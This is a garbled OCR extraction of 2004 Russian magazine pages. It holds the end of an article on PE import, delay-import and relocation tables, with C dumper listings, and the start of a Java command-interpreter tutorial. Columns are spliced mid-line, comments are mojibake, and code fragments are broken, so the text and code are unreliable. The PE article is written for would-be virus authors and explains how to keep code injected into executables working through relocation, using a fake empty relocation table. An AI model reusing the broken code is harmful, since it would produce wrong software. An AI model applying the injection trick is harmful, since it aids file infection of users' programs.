не настраивая таблицу адресов. Предполагается, что эф- pBaseAddress);
фективные адреса заданы еще на времени компиляции. importAddressTable =(DWORD*)(*(DWORD*)(pImport+0x10)+ ↵
pBaseAddress);
На этом основан другой хитрый трюк (все еще актуаль-
ный). Подменив один или несколько элементов таблицы //printf("%s %x %x\n",nameRVA,importLookupTable, ↵
pBaseAddress);
адресов адресом другой функции, мы введем дизассемб-
лер в глубокое заблуждение (ведь он игнорирует таблицу // ïåðåõîäèì íà ñëåäóþùèé äåñêðèïòîð
pImport += 0x14 /* size of _IMAGE_IMPORT_DESCRIPTOR */;
адресов и предпочитает разбирать весь импорт самосто-
ятельно). // ýòî êîíåö?
if ((BYTE*)importLookupTable == pBaseAddress) break;
ForwarderChain – очень странное поле, вроде бы име-
ющее отношение к форвардингу функций. По одним дан- // ïå÷àòàåì èìÿ DLL
printf("%s:\n",nameRVA);
ным индекс в цепочке форварда, по другим – RVA-указа- for(a=0;a<strlen(nameRVA);a++) printf("-"); ↵
тель на массив IMAGE_IMPORT_BY_NAME. Обычно рав- printf("\n");
но нулю (нет здесь никакого форварда), так что навряд ли // ïå÷àòàåì èìïîðòèðóåìûå ôóíêöèè
это указатель, скорее уж адрес. Хотя спецификация и ут- n2k_print_IAT(importLookupTable, ↵
importAddressTable, pBaseAddress);
верждает, что за отсутствием форварда закреплено зна- }
чение FFFFFFFFh, линкеры, похоже, придерживаются со- }
вершенно иного мнения. Что же до системного загрузчи-
ка, то это поле он попросту игнорирует, и здесь может быть IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
все, что угодно. То же самое относится и к отладчикам/ BOUND_IMPORT до ужаса незамысловат и прост. С ним
дизассемблерам. связан всего один массив структур IMAGE_BOUND_
Пример практической работы с таблицей импорта при- IMPORT_DESCRIPTOR, состоящий из трех полей: времен-
веден ниже: ной отметки; смещения имени DLL, отсчитываемые от на-
чала таблицы BOUND_IMPORT и количество форвардов,
Ëèñòèíã 11. Äàìïåð òàáëèöû èìïîðòà точное назначение которых неясно.
// ÏÅ×ÀÒÀÅÌ ÒÀÁËÈÖÓ ÈÌÏÎÐÒÀ Если временная отметка импортируемой библиотеки
n2k_print_IAT(DWORD* importLookupTable, ↵ соответствует ее собственной временной отметке, пропи-
DWORD* importAddressTable, BYTE* pBaseAddress)
{ санной в PE-заголовке, загрузчик просто проецирует пос-
леднюю на адресное пространство и умывает руки, пре-
DWORD lookup, hint, address;
BYTE *name; char buf[MAX_BUF_SIZE]; доставляя программе действовать самостоятельно.
name = "not pressent"; lookup = address = hint = 0; Захочет – будет разбирать таблицу экспорта импортиру-
printf( " hint name/ordinal address\n"\ емой библиотеки вручную, захочет – жестко пропишет
"--------------------------------------------\n"); экспортируемые адреса еще на этапе компиляции, как
while(1) // ñêàíèðóåì òàáëèöó èìïîðòà, ïîêà íå âñòðåòèì íóëü обычно и происходит.
{ Нулевое значение временной отметки соответствует
// èçâëåêàåì î÷åðåäíûå ýëåìåíòû èç loockup любому времени, и обращаться с ним следует предельно

68
 программирование
осторожно, ибо при перекомпиляции библиотеки жестко внедряемого в программу линкером и варьирующегося от
прописанные адреса будут указывать в космос и програм- реализации к реализации). В изначально пустое поле
ма повиснет. phmod загрузчик (все тот же Delay Helper) помещает дес-
криптор динамически загружаемой DLL.
Ëèñòèíã 12. Ïðîòîòèï ñòðóêòóðû IMAGE_BOUND_IMPORT_DESCRIPTOR Поле pIAT содержит указатель на таблицу адресов от-
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { ложенного импорта, организованную точно так же, как и
DWORD TimeDateStamp; обычная IAT, с той лишь разницей, что все элементы таб-
WORD OffsetModuleName;
WORD NumberOfModuleForwarderRefs; лицы отложенного импорта ведут к delay load helper – спе-
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows циальному динамическому загрузчику, также называемо-
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
му переходником (thunk), который вызывает Load Library
Практический пример работа таблицы BOUND_IMPORT (если только библиотека уже не была загружена), а затем
приведен ниже: дает GetProcAddress и замещает текущий элемент табли-
цы отложенного импорта эффективным адресом импор-
Ëèñòèíã 13. Ïðîñòîé äàìïåð òàáëèöû äèàïàçîííîãî èìïîðòà тируемой функции, благодаря чему все последующие
n2k_walk_bound(BYTE *pBound, BYTE *pBaseAddress) вызовы данной функции осуществляются напрямую в об-
{ ход delay load helper.
DWORD time_x; WORD name_offset; WORD n_ref;
if (!pBaseAddress) pBaseAddress = pBound; При выгрузке DLL из памяти последняя может восста-
новить таблицу отложенного импорта в исходное состоя-
while(1) // ðàçáèðàåì bound
{ ние, обратившись к ее оригинальной копии, RVA-указа-
// èçâëåêàåì âñå çíà÷åíèÿ тель, на которую хранится в поле pUnloadIAT. Если же ко-
time_x = *(DWORD*) pBound; ↵
n_ref = *((WORD*) (pBound+6)); пии нет, ее указатель будет обращен в ноль.
name_offset = *((WORD*) (pBound+4)); ↵ Поле pINT содержит RVA-указатель на таблицу имен,
if (!name_offset) break;
во всем повторяющую стандартную таблицу имен (см.
// âûâîäèì èõ íà òåðìèíàë name Table). То же самое относится и к полю pBoundIAT,
printf("[%04X] %-30s %d\n",time_x, ↵
name_offset + pBaseAddress, n_ref); хранящему RVA-указатель на таблицу диапазонного им-
порта. Если таблица диапазонного импорта не пуста и ука-
// ñëåäóþùèé ýëåìåíò
pBound += 8; занная временная метка совпадает с временной меткой
} printf("\n"); соответствующей DLL, системный загрузчик просто про-
}
ецирует ее на адресное пространство данного процесса и
механизм отложенного импорта дезактивируется.
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
Вот мы и добрались до отложенного импорта… Рассмот- Ëèñòèíã 15. Ïðîñòåéøèé äàìïåð òàáëèöû îòëîæåííîãî èìïîðòà
рим его лишь вкратце, поскольку ничего хорошего ожидать // ïðîãóëèâàåìñÿ ïî òàáëèöå delay-èìïîðòà
все равно не приходится. Для экспериментов нам понадо- n2k_walk_delay(BYTE* pDelay, BYTE *pBaseAddress)
{
бится по меньшей мере один файл с отложенным импор-
том. Если же такого в вашем распоряжении нет, создайте WORD a = 0, hint;
BYTE *name, *f_name;
его самостоятельно. Пользователи Microsoft Linker могут DWORD attr, ordinal;
поступить так: link dll.test.impl.obj /DELAYLOAD: dll.dll dll.lib char buf[MAX_BUF_SIZE];
DWORD *INT, *IAT, *f_addr;
DELAYIMP.LIB, а пользователи линкера ulink от Юрия Ха-
рона (которым я сам давно пользуюсь и который всем на- //attr = *(DWORD*)pDelay;
стоятельно рекомендую), так: ulink -d dll.test.impl.obj dll.lib. while(1)
{
Ëèñòèíã 14. Ïðîòîòèï ñòðóêòóðû ImgDelayDescr // èçâëåêàåì óêàçàòåëè íà IAT è INT
IAT = (DWORD*)*((DWORD*)(pDelay + 0x0C));
INT = (DWORD*)*((DWORD*)(pDelay + 0x10));
typedef struct ImgDelayDescr {
DWORD grAttrs; // attributes
LPCSTR szName; // pointer to dll name // èçâëåêàåì óêàçàòåëü íà èìÿ ìîäóëÿ
name = (BYTE*) *((DWORD*) (pDelay + 0x04));
HMODULE* phmod; // address of module handle
PimgThunkData pIAT; // address of the IAT
PCImgThunkData pINT; // address of the INT // ýòî êîíåö?
if (!IAT || !INT) break;
PCImgThunkData pBoundIAT; // address of the optional
// bound IAT
PCImgThunkData pUnloadIAT; // address of optional copy // ýâðèñòè÷åñêîå ðàñïîçíàâàíèå àäðåñà
if ((DWORD) name < (DWORD) pBaseAddress) ↵
// of original IAT name += (DWORD) pBaseAddress;
DWORD dwTimeStamp; // 0 if not bound,
// O.W. date/time stamp if ((DWORD) IAT < (DWORD) pBaseAddress)
IAT = (DWORD*)((DWORD) IAT + ↵
// of DLL bound to Old BIND (DWORD) pBaseAddress);
} ImgDelayDescr, * PImgDelayDescr;
if ((DWORD) INT < (DWORD) pBaseAddress)
INT = (DWORD*)((DWORD) INT + ↵
Поле grAttrs задает тип адресации, применяющийся в (DWORD) pBaseAddress);
служебных структурах отложенного импорта (0 – VA, 1 –
// ïå÷àòàåì èìÿ ìîäóëÿ
RVA); поле szName содержит RVA/VA-указатель на ASCIIZ- printf("%s\n",name);for(a;a<strlen(name); ↵
строку с именем загружаемой DLL (тип адреса определя- a++)printf("-");printf("\n");
ется особенностями реализации конкретного delay helper, printf( " hint name/ordinal address\n"\

№6(19), июнь 2004 69

 программирование
"------------------------------------\n");
// ïå÷àòü èìåí
while(1)
{ элементов (но это не по-хакерски). Можно ли запретить си-
f_name = (BYTE*) *INT++; f_addr = ↵
(DWORD*) *IAT++;
if (!f_name || !f_addr) break;
if ((DWORD)f_name < (DWORD)pBaseAddress)
f_name += (DWORD) pBaseAddress;
if ((DWORD)f_addr < (DWORD)pBaseAddress)
f_addr = (DWORD*)((DWORD)f_addr+ ↵
(DWORD) pBaseAddress);
if ((DWORD) f_name & 0x80000000)
{ Почему подложная таблица перемещаемых элементов
sprintf(buf, "#%d",((DWORD) ↵
f_name) & 0xFFFF);
f_name = buf; hint = 0;
} щаемых элементов не перемещает файл вообще (а ведь
else
{ по спецификации – должен). Разумеется, внедряемый код
hint = *(WORD*) f_name; ↵
f_name = &f_name[2];
} зового адреса загрузки, т.е. использовать абсолютную
printf("[%04d] %-30s:%08Xh\n", ↵
hint,f_name, f_addr);
} printf("=========================\n\n");
pDelay += 0x20; // ñëåäóþùèé ýëåìåíò
}
} уже от него.
Перемещаемые элементы
Таблица перемещаемых элементов не является обяза-
тельной и используется только когда загрузка по адресу,
прописанному в image base, оказывается невозможной.
Тогда системный загрузчик обращается к таблице пере-
мещаемых элементов, представляющей собой массив ука-
зателей на RVA-адреса страничного имиджа, требующих
коррекции, и увеличивает их на разницу предполагаемо-
го и фактического адресов загрузки.
Допустим, в программном коде имелась инструкция
типа mov eax, [401000h], где 401000h – абсолютный адрес
ячейки памяти страничного имиджа. Если файл будет заг-
ружен не по адресу 400000h, на который он и рассчиты-
вал, а, скажем, по адресу 10000000h, ячейка 401000h в
обязательном порядке должна быть скорректирована,
иначе в регистр eax попадет совершенно непредсказуе-
мое значение. Вычислив дельту загрузки (10000000h –
400000h == FC00000h) и выудив из таблицы перемещае-
мых элементов RVA-адрес корректируемой ячейки, сис-
темный загрузчик складывает его с дельтой загрузки и
получает: mov eax, [10001000h].
При внедрении в файл путем замещения секции (на-
пример, сжатии и/или сбрасывании части ее содержимо-
го в оверлей) это создает следующие проблемы. Первое
и главное: если хотя бы один перемещаемый элемент по-
падет внутрь внедренного нами кода и файл будет дей-
ствительно перемещен, внедренный код окажется полно-
стью или частично испорчен и его поведение станет не-
предсказуемым (все зависит от того, куда придется «ра-
нение»). Во-вторых, даже если он и выживет, то восста-
новленная секция окажется неработоспособной, ведь со-
ответствующие адреса не были скорректированы.
Многие руководства советуют либо прибивать табли-
цу перемещаемых элементов, обнуляя поле IMAGE_
70
DIRECTORY_ENTRY_BASERELOC в DATA_DIRECTOTY (но
это делает файл немобильным), либо же вовсе не связы-
ваться с файлами, содержащими таблицу перемещаемых
стемному загрузчику гробить внедренный нами код, не ли-
шая файл свойства перемещаемости? Оказывается, мож-
но – достаточно создать пустую таблицу перемещаемых
элементов, переустановив на нее IMAGE_DIRECTORY_
ENTRY_BASERELOC, а оригинальную таблицу перемеща-
емых элементов обрабатывать самостоятельно, делая это
уже после того, как все секции будут приведены в исход-
ное состояние (распакованы и/или извлечены из оверлея).
должна быть пустой? Потому что системный загрузчик
содержит грубую ошибку и в отсутствие таблицы переме-
необходимо спроектировать с учетом непостоянства ба-
адресацию нельзя и необходимо либо ограничиться од-
ной относительной, либо автоматически определять мес-
то своей дислокации в памяти и в дальнейшем плясать
К сожалению, микропроцессоры семейства I386 с пе-
ремещаемым кодом не в ладах, т.к. ориентированы на
абсолютную адресацию и налагают запрет на явное ис-
пользование регистра EIP (указатель следующей выпол-
няемой машинной инструкции). Мы не можем сказать про-
цессору: mov eax, [eip+666h] (занести в регистр eax двой-
ное слово, лежащие на 666h байт ниже следующей ис-
полняемой команды), и приходится прибегать к всевоз-
можным ухищрениям, проталкивая регистр EIP через стек,
добираясь до него так: call @label/@label:pop eax, что эк-
вивалентно: mov [esp], eip/mov eax,[esp], где esp – указа-
тель вершины стека. Кстати, о стеке. Это удобное храни-
лище данных, не требующее к тому же задания абсолют-
ных адресов.
По соображениям эффективности таблица перемеща-
емых элементов хранится в упакованном формате, вмес-
то массива 32-разрядных RVA-адресов, указывающих на
модифицируемую ячейку памяти внутри страничного
имиджа, мы имеем массив 16-разрядных слов, 4 старших
бита которых задают тип перемещаемой ячейки, а 12
младших бит – смещение, отсчитываемое от начала стра-
ницы (page). Под «страницей» здесь понимается отнюдь
не страницы памяти, а непрерывный регион памяти, RVA-
адрес которого задается внутри специальной структуры.
Таким образом, таблица перемещаемых элементов состо-
ит из одного или нескольких последовательно располо-
женных блоков. В начале блока идет его RVA-адрес и раз-
мер, а за ними 16-битный массив упакованных смещений.
Заглянув в файл WINNT.H, мы обнаружим структуру
_IMAGE_BASE_RELOCATION, определенную так (не пу-
тайте ее с _IMAGE_RELOCATION, относящуюся к объек-
тивным файлам):
Ëèñòèíã 16. Ïðîòîòèï ñòðóêòóðû IMAGE_BASE_RELOCATION
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;

DWORD SizeOfBlock;
// ìàññèâ óïàêîâàííûõ ïåðåìåùàåìûõ ýëåìåíòîâ
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
Ëèñòèíã 17. Èñòèííûé ðàçìåð ìàññèâà TypeOffset
TypeOffset[(SizeOfBlock – sizeof(VirtualAddress) – ↵
sizeof(SizeOfBlock))/sizeof(WORD)]
I386-загрузчик поддерживает двенадцать типов пере-
мещаемых элементов, но на практике обычно использует-
ся лишь один из них: IMAGE_REL_BASED_HIGHLOW (03h),
указывающий на младший байт 32-разрядного значения,
к которому следует добавить дельту загрузчика. В пере-
воде на межсистемный программистский это выглядит так:
if ((TypeOffset[i] >> 12) == 3 ) *(DWORD*) ((TypeOffset[i] ↵
& ((1<<12)-1)) + pageRVA + (DWORD) pBaseAddress) ↵
+= ((DWORD) pBaseAddress - (DWORD)pPreferAddress)
Когда будете это делать, не забудьте предварительно
убедиться, что соответствующая страница памяти имеет
атрибут Writable и, если его нет, временно измените атри-
буты страницы, обратившись к API-функции функции
VirtualProtectEx, а после исправления всех перемещаемых
элементов верните атрибуты назад.
Остальные типы перемещаемых элементов описаны в
спецификации на PE-файл. Обещаю, что вы узнаете мно-
го интересного. В частности, перемещаемые элементы
типа IMAGE_REL_BASED_HIGHADJ хранят целевой адрес
сразу в двух TypeOffset. Первый указывает на ячейку, со-
держащую старшее перемещаемое слово, а второй –
младшее. На I386-процессорах такая комбинация не име-
ет никакого смысла, но на других платформах может быть
широко распространена.
Ниже приведен исходный текст простейшего дампера
таблицы перемещаемых элементов:
Ëèñòèíã 18. Ðàçáîð òàáëèöû ïåðåìåùàåìûõ ýëåìåíòîâ
n2k_walk_reloc(BYTE* pReloc, BYTE *pBaseAddress, ↵
BYTE *pPreferAddress)
{ 2
BYTE *pageRVA; DWORD a, blockSize, typeX, offsetX;
// âû÷èñëÿåì äåëüòó çàãðóçêè
printf( "\ndelta := %08Xh\n"\
"==================\n\n", ↵
pBaseAddress - pPreferAddress);
// ïåðåáèðàåì âñå fixup áëîêè – îäèí çà äðóãèì
while(1)
{
// âû÷èñëÿåì àäðåñ íà÷àëà ñòðàíèöû è ðàçìåð áëîêà
pageRVA = (BYTE*)(*(DWORD*) pReloc); ↵
blockSize = *(DWORD*) (pReloc+4);
if (!blockSize) break; // ýòî êîíåö?
// ðàñïàêîâûâàåì ïåðåìåùàåìûå ýëåìåíòû,
// âû÷èñëÿÿ àäðåñà êîððåêòèðóåìûõ ÿ÷ååê
printf("FIXUP BLOCK - pageRVA: %06Xh, ↵
size %06d bytes\n"\
"-------------------------------------\n",
pageRVA, blockSize);
for (a = 8; a < blockSize; a += 2)
{
// èçâëåêàåì òèï fixup è ñìåùåíèå
// îòíîñèòåëüíî pageRVA
typeX = (*(WORD*)(pReloc + a)) >> 12;
offsetX = (*(WORD*)(pReloc + a)) & ((1<<12)-1);
№6(19), июнь 2004
программирование
// îáðàáîòêà ðàçíûõ òèïîâ fixup
switch(typeX)
{
case 0: printf("\tIMAGE_REL_BASED_ABSOLUTE\n");
break;
case 3: printf("\tIMAGE_REL_BASED_HIGHLOW ↵
@ %08Xh --> %08Xh\n",
offsetX + pPreferAddress, ↵
offsetX + pBaseAddress);
break;
default:
printf("\t%x - not supported\n", typeX);
break;
}
} printf("\n");
// áåðåì ñëåäóþùèé áëîê
pReloc += blockSize;
}
}
Заключение
…уф! наконец-то мы добрались до кочки, одиноко торча-
щей среди топкого болота. Теперь можно обсохнуть, от-
мыться, собраться с мыслями и какое-то время передо-
хнуть. Вы еще не передумали писать свой вирус? Да уж!
Такой марш-бросок любое влечение угробит… И правиль-
но! В этом мире выживают лишь те, чье стремление ра-
зобраться в системе доминирует над желанием напакос-
тить ближнему своему. Написать грамотный и во всех от-
ношениях корректный «внедритель» ох как непросто! И
пока вы будете переваривать полученную информацию,
незаметно подоспеет следующий номер со следующей
порцией информационного концентрата. Когда они соеди-
нятся вместе, произойдет своеобразная алхимическая
реакция и на свет родится крохотный организм огромно-
го кибернетического мира. Конкретно, в статье будет по-
казано именно как осуществляется внедрение машинно-
го кода в посторонее тело.
1
Опыт – чудесная вещь, он позволяет вам узнавать свою
ошибку в тех случаях, когда вы ее допускаете снова и
снова. (С) неизвестен.
Строго говоря, никаких виртуальных страниц/секторов
нет. Эта авторская терминология. Правильнее говорить
о минимальной порции (кванте) данных, равной выб-
ранной кратности выравнивания на диске и в памяти,
но постоянно набивать такое на клавиатуре слишком
длинно и утомительно.
Ðèñóíîê Îëåãà Ìîðîçîâà
71
 программирование
ПРОСТОЙ ИНТЕРПРЕТАТОР КОМАНДНОГО ЯЗЫКА
Я часто сталкиваюсь с необходимостью создания интер-
претаторов командных языков и встраивания их в прило-
жения. Под командным языком я понимаю язык, предназ-
наченный для последовательного исполнения операторов
вызова команд, описываемых простым синтаксисом:
êîìàíäà [ïàðàìåòð1 [ïàðàìåòð2 ... [ïàðàìåòðN]]]
Языки подобного рода могут быть использованы:
! для расширения функциональности приложений с по-
мощью скриптов или макросов;
! для удаленного управления приложениями (например,
с помощью протокола Telnet);
! для создания интерактивных тестовых программ.
Примерами таких языков являются язык командной
строки ftp-клиента или языки управления столь распрост-
раненными сейчас DSL-модемами.
В этой статье я предложу простое решение, которое
позволит вам с минимальными трудозатратами создать
72
АЛЕКСАНДР ФЕФЕЛОВ
интерпретатор для командного языка. В качестве языка
программирования я буду использовать Java.
Intro
Итак, имеется некоторый язык (далее будем называть его
целевым), поддерживающий только один оператор – опе-
ратор вызова команды. Программы на этом языке запи-
сываются в виде последовательности строк, причем в
одной строке может быть расположен только один опера-
тор. Система команд целевого языка полностью опреде-
лена решаемой задачей.
Необходимо для этого языка создать интерпретатор,
который, получив очередной оператор, будет выполнять
его и возвращать результат выполнения.
Возможно, результат выполнения текущего операто-
ра будет зависеть от результатов выполнения предыду-
щих операторов или от состояния приложения, в которое
встроен интерпретатор. Например, в том же ftp-клиенте
нельзя получить файл командой get, если перед этим не
было установлено соединение с сервером. Поэтому, ин-

терпретатор должен поддерживать понятие контекста ис-
полнения, причем одним из результатов выполнения опе-
ратора может быть изменение этого контекста.
Ошибки
Начнем с ошибок. Для обработки ошибок, возникающих в
процессе работы интерпретатора, создадим несложную
иерархию исключений. Корнем этой иерархии будет ис-
ключение CliError:
public class CliError extends Exception {
public CliError() {
} Система команд, с точки зрения нашего интерпрета-
public CliError(String msg) {
super(msg);
}
} воспользуемся.
Все остальные исключения нашей иерахии являются на-
следниками CliError и реализуются аналогичным образом.
CliError отражает наиболее общий, неспецифицичес-
кий тип ошибки. Более специфические ошибки это:
! SyntaxError – синтаксическая ошибка;
! UnknownCommandError – неизвестная команда;
! KnownCommandError – команда уже существует;
! ClassNotFoundError – не найден класс, реализующий ко-
манду;
! ClassCastError – класс не может реализовывать команду.
Команды
У всех команд целевого языка, как бы ни различались ал-
горитмы их работы, есть одно общее важное свойство –
способность к выполнению с определенным набором па-
раметров в определенном контексте. Отразим это в интер-
фейсе Command:
import java.util.*;
import simplecli.error.*;
public interface Command {
String run(Properties context, ArrayList parameters)
throws CliError;
Для выполнения команды интерпретатор вызывает ме-
тод run, передавая ему экземпляр ArrayList, содержащий
в виде объектов String параметры вызова команды, и эк-
земпляр Properties, отражающий текущее состояние кон-
текста выполнения (см. ниже). Результат выполнения ко-
манды возвращается в виде строки.
В реальном целевом языке хотелось бы иметь поддер-
жку системы помощи, хотя бы и в минимальном объеме.
Это пригодится в интерактивном режиме работы. Поэто-
му добавим в интерфейс Command пару методов:
String getDescription(String name);
String getHelp(String name);
}
Метод getDescription должен возвращать краткое опи-
сание команды, а метод getHelp – подробную справочную
№6(19), июнь 2004
программирование
информацию. Оба метода в качестве параметра получа-
ют имя, под которым команда зарегистрирована в целе-
вом языке.
Абстрактный интерпретатор
Разобравшись с ошибками и командами, мы можем при-
ступить к разработке ядра нашего интерпретатора.
Структуры данных
Первым делом разберемся, как интерпретатор будет хра-
нить данные, отражающие его состояние, – систему ко-
манд и контекст выполнения.
тора, – это набор пар «имя-класс», причем имена обяза-
ны быть уникальными, а вот классы – нет. Для реализа-
ции такой структуры идеально подходит Hashtable. Им и
Как хранить контекст выполнения? Для практического
применения может оказаться вполне достаточной реализа-
ция понятия переменных окружения (environment variables),
используемого в командных процессорах, как в UNIX, так и
в DOS/Windows. Для хранения контекста также подходит
Hashtable, но, поскольку и имена, и значения переменных
есть строки, удобнее будет использование Properties.
import java.io.*;
import java.util.*;
import simplecli.command.*;
import simplecli.error.*;
abstract public class Interpreter {
private Hashtable commands;
private Properties context;
public Hashtable getCommands() {
return commands;
}
public Properties getContext() {
return context;
}
При разбиении интерпретируемой строки на лексичес-
кие элементы интерпретатор использует разделитель.
Полезно будет оформить этот разделитель как полноцен-
ный член класса:
public void setDelimiter(String delimiter) {
this.delimiter = delimiter;
}
public String getDelimiter() {
return delimiter;
}
Инициализация
Инициализация интерпретатора, включающая в себя оп-
ределение системы команд и начальную настройку кон-
текста выполнения, зависит, конечно же, от системы, в
которую интерпретатор будет встроен. Поэтому отдадим
инициализацию на откуп абстрактным методам:
public Interpreter() {
context = new Properties();
initContext(context);
73
 программирование
commands = new Hashtable(); if (clause == null) {
initCommands(commands); break;
}
setDelimiter(" ");
} String result = null;
try {
abstract public void initContext(Properties context); result = interpretClause(clause);
} catch (CliError ce) {
abstract public void initCommands(Hashtable commands); err.println(ce);
if (mustStopOnError()) {
break;
}
Режимы работы }
В каких режимах должен работать наш интерпретатор? В if (result != null) {
первую очередь это выполнение программы, записанной out.println(result);
в некотором файле. В более общем случае программа для }
выполнения выбирается интерпретатором из потока. По- if (mustQuit()) {
током может быть и файл, и консольный ввод, и сетевое break;
}
соединение. Назовем такой режим работы потоковым. В }
потоковом режиме интерпретатор получает из потока оче- }
редную строку и выполняет ее. public boolean mustQuit() {
Выделим в особый случай интерпретацию отдельных String quit = context.getProperty("$QUIT");
if (quit == null) {
строк. Например, в графическом интерфейсе пользова- return false;
теля какому-либо пункту меню может быть сопоставлена }
if (quit.equals("yes")
некоторая строка, которая и передается интерпретатору || quit.equals("true")) {
при выборе пользователем этого пункта меню. Назовем return true;
} else {
выполнение интепретатором отдельных строк строковым return false;
режимом работы. }
}
Очевидно, что реализация потоковой интерпретации
может быть основана на возможностях строкового режима. public boolean mustStopOnError() {
String quit = context.getProperty("$STOPONERROR");
Поэтому начнем мы именно со строковой интерпретации: if (quit == null) {
return true;
}
public String interpretClause(String clause) if (quit.equals("yes")
throws UnknownCommandError, CliError { || quit.equals("true")) {
return true;
if (clause == null) { } else {
return null; return false;
} }
clause = clause.trim(); }
if (clause.length() == 0) {
return null;
} Отметим пару особенностей потокового режима работы.
String[] tokens = tokenize(clause, getDelimiter()); Во-первых, каким образом интепретатор узнает о не-
ArrayList parameters = new ArrayList(); обходимости завершения интерпретации? Если програм-
for (int i = 1; i < tokens.length; i++) {
parameters.add(tokens[i]); ма для выполнения считывается из файла, то, очевидно,
} конец файла и служит сигналом интерпретатору. Но что,
Command command = (Command) commands.get(tokens[0]); если строки программы поступают с консоли?
if (command == null) { Во-вторых, что должен делать интерпретатор при об-
throw new UnknownCommandError(tokens[0]);
} наружении ошибки – прервать выполнение или продол-
жить его со следующего оператора?
return command.run(getContext(), parameters);
} Обе проблемы просто решаются с использованием кон-
текста выполнения. Заведем в контексте специальные пе-
public String[] tokenize(String s, String d) {
return s.split(d); ременные (назовем их соответственно $QUIT и $STOPON-
} ERROR) и заставим интерпретатор проверять их значе-
ния после выполнения очередного оператора.
Реализовав строковый режим, мы легко можем реа- Аналогичным образом можно решить задачу выдачи
лизовать и потоковый: приглашения ко вводу, если ввод осуществляется с кон-
соли. Если контекстная переменная $PROMPT что-то со-
public void interpret(BufferedReader in, держит, то это «что-то» и будет использовано в качестве
PrintWriter out, PrintWriter err)
throws IOException { приглашения.
while (true) {
String prompt = context.getProperty("$PROMPT"); Конкретный интерпретатор
if (prompt != null && prompt.length() > 0) { Описанный абстрактный интерпретатор все еще не мо-
out.print(prompt);
out.flush(); жет быть непосредственно встроен в какую-либо сис-
} тему. Необходимо конкретизировать методы инициали-
String clause = in.readLine(); зации.

74

В качестве примера создадим конкретный интепрета-
тор и реализуем для него простую, но мощную систему
команд.
import java.util.*;
import simplecli.command.*;
public class BaseInterpreter extends Interpreter {
public void initContext(Properties context) {
context.setProperty("$QUIT", "false");
context.setProperty("$STOPONERROR", "false");
context.setProperty("$PROMPT", ">");
}
public void initCommands(Hashtable commands) {
commands.put("exit", new ExitCommand());
commands.put("quit", new ExitCommand());
commands.put("bye", new ExitCommand());
commands.put("help", new HelpCommand(this));
commands.put("?", new HelpCommand(this));
commands.put("set", new SetCommand());
commands.put("register", new RegisterCommand(this));
commands.put("unregister", new UnregisterCommand(this));
} // Íåò ïàðàìåòðîâ - âîçâðàùàåì ñïèñîê âñåõ
}
Как видите – ничего сложного. В контексте создаются
описанные выше специальные переменные, а в системе
команд регистрируются несколько команд, о реализации
которых мы и поговорим ниже.
Самая простая команда – команда завершения интер-
претации ExitCommand (здесь и далее я называю коман-
ды по именам классов, их реализующих). Эта команда
просто меняет значение контекстной переменной $QUIT:
package simplecli.command;
import java.util.*;
import simplecli.error.*;
public class ExitCommand implements Command {
public String run(Properties context,
ArrayList parameters) throws SyntaxError {
if (parameters.size() > 0) {
throw new SyntaxError();
} (String) parameters.get(1));
context.setProperty("$QUIT", "yes");
return null;
} throw new SyntaxError();
public String getDescription(String name) {
return "Exits current interpreter session.";
} public String getDescription(String name) {
public String getHelp(String name) {
return "Exits current interpreter session."
+ CRLF + "Syntax: " + name;
} return "Manages environment variables."
private final static String CRLF =
System.getProperty("line.separator");
} System.getProperty("line.separator");
Управление контекстом выполнения
Управляя контекстом выполнения, команды могут изме-
нять состояние программы, в которую встроен интерпре-
татор, или влиять на выполнение других команд.
Для управления контекстом мы реализуем команду
№6(19), июнь 2004
программирование
SetCommand, интерфейс которой схож с интерфейсом
команды SET командных процессоров bash и CMD.EXE.
Вызов SetCommand без параметров будет возвращать
список пар «переменная=значение» для всех переменных,
определенных в контексте.
Вызов с одним параметром удалит из контекста пере-
менную, заданную параметром.
Вызов с двумя параметрами установит переменную,
указанную первым параметром, в значение, заданное вто-
рым параметром.
package simplecli.command;
import java.util.*;
import simplecli.error.*;
public class SetCommand implements Command {
public String run(Properties context,
ArrayList parameters) throws SyntaxError {
switch (parameters.size()) {
case 0:
// ïåðåìåííûõ â êîíòåêñòå âûïîëíåíèÿ.
StringBuffer sb = new StringBuffer();
Enumeration names = context.propertyNames();
while (names.hasMoreElements()) {
String name = (String) names.nextElement();
String val = context.getProperty(name);
sb.append(name + "=" + val);
if (names.hasMoreElements()) {
sb.append(CRLF);
}
}
if (sb.length() > 0) {
return sb.toString();
} else {
return null;
}
case 1:
// Îäèí ïàðàìåòð - óäàëÿåì èç êîíòåêñòà âûïîëíåíèÿ
// ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå ïàðàìåòðà.
context.remove((String) parameters.get(0));
return null;
case 2:
// Äâà ïàðàìåòðà - óñòàíàâëèâàåì â êîíòåêñòå
// âûïîëíåíèÿ ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå
// ïåðâîãî ïàðàìåòðà, â çíà÷åíèå, óêàçàííîå
// â êà÷åñòâå âòîðîãî ïàðàìåòðà.
context.setProperty((String) parameters.get(0),
return null;
default:
}
}
return "Manages environment variables.";
}
public String getHelp(String name) {
+ CRLF + "Syntax: " + name + " [variable [value]]";
}
private final static String CRLF =
}
Побочным эффектом изменения контекста может быть
влияние на процесс интерпретации. Например, описанная
выше команда завершения интерпретации может быть
реализована непосредственно на целевом языке:
75
 программирование
set $QUIT true
Система помощи
Интерфейс Command предоставляет возможности для
создания справочной системы. На основе этих возможно-
стей мы и запрограммируем команду HelpCommand. Вы-
зов команды HelpCommand без параметров возвратит
список всех зарегистрированных команд с кратким опи-
санием каждой из них, а вызов с одним параметром вы-
даст подробную справку по команде, имя которой задано
параметром.
package simplecli.command;
import java.util.*;
import simplecli.*;
import simplecli.error.*;
public class HelpCommand implements Command {
public HelpCommand(Interpreter interpreter) {
this.interpreter = interpreter;
} Команда RegisterCommand должна вызываться с дву-
public String run(Properties context,
ArrayList parameters)
throws SyntaxError, UnknownCommandError {
switch (parameters.size()) {
case 0: {
// Íåò ïàðàìåòðîâ - âîçâðàùàåì êðàòêîå îïèñàíèå
// âñåõ èçâåñòíûõ êîìàíä.
